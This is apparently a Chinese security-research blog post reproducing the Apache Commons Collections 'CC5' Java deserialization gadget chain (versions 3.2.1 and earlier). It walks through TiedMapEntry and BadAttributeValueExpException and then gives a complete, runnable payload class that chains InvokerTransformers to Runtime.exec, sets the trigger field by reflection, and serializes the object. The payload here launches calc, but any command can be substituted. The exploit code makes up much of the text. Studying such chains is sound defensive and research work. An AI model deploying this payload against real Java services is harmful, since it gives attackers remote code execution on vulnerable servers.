java 反序列化 cc5复现
复现环境:common-collections版本<=3.2.1,java版本随意.cc5则是cc6的一个变形,换了一个出口.直接从有变化的位置开看.
TiedMapEntry
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getValue() {
return this.map.get(this.key);
}
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}
通过getValue
去触发LazyMap
的get
这点没有变,之前在cc6的时候是通过hashCode
去触发的getValue
,这里我们改变一下,通过toString
来触发getValue
BadAttributeValueExpException
直接看这个类的readObject
方法
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
可以看到相当于触发了val
的toString
方法.然而这个val
不能通过构造方法去赋值.
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
否则会在构造方法处直接触发toString
,应该通过反射去修改.
写成了payload
package org.example;
import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
String MethodName1 = "getMethod";
Class[] ParmaType1 = {String.class, Class[].class};
Object[] Parma1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);
String MethodName2 = "invoke";
Class[] ParmaType2 = {Object.class, Object[].class};
Object[] Parma2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);
String MethodName3 = "exec";
Class[] ParmaType3 = {String.class};
Object[] Parma3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);
Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<?> clazz = badAttributeValueExpException.getClass();
Field val = clazz.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
serial(badAttributeValueExpException);
unserial();
}
public static void serial(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
归纳总结得出利用链:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()